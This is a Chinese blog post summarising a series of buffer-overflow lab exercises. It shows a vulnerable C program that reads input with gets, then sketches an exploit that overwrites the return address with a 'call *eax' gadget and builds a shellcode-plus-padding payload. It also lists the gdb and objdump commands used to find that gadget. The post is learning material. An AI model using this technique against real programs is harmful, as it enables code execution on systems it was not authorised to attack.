缓冲区溢出之总结

还有最后一个实验没写,觉得没必要了,在这里随便说一下就行了。

上代码:
char* getpath()

{

char buffer[64];

unsigned int ret;



printf("input path please:");

fflush(stdout);



gets(buffer);

ret = __builtin_return_address(0);

if ((ret & 0xb0000000) == 0xb0000000)

{

    printf("bzzzt (%p)\n", ret);

    _exit(1);

}



printf("got path %s\n", buffer);

return strdup(buffer);//这个函数的参数是一个数据指针,得到一组数据的副本,返回副本指针

}

int main(int argc, char** argv)

{

getpath();

return 0;

}
想一下之前说用retn可以让函数跳转到shellcode并执行,那返回到call是不是也能执行 O(∩_∩)O
strdup(buffer)有这个函数,只需要返回这个函数的eax存储的位置就行了,实际上这里直接返回到call eax就行
1.找该堆栈中gets函数到返回地址的大小。
2.找出该程序中的一个call *eax
这里的命令写法:
junk = (80-len(shellcode))*’A’
print shellcode + junk + ‘\x9f\x84\x04\x08’
具体用到的linux命令:
x /s $eax 查看eax寄存器内容,显示ascii码
objdump -d pwn8 | grep “call *%eax” 这里是查找objdump输出的内容,仅显示call *eax(为通配符要查找需要在前面加\而\才是反斜杠的意思)

总结:
从第一篇开始接触缓冲区溢出,第一,二篇主要是写汇编语言分析,收获挺大的,分析完看懂些简单函数不是问题
接下来从发现逐渐转变成了利用
发现这里介绍的无非就是strcpy函数和gets函数。很浅的发现
而利用,这里介绍了用数据覆盖数据,用数据覆盖地址,绕过保护。
当发现一个漏洞,我们可以利用的不止是该堆栈,能利用一切,本执行程序的所有东西,甚至本客户机上正在执行的一切进程,各种代码各种变量,找到地址一个retn就能访问

学到的还有linux命令,虽然很少,积少成多嘛

谁说 人们抬头望天空就是发现了一枚石子,而之后飞上宇宙只是把这枚石子捡起来。
漏洞的发现就像找到一枚石子。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值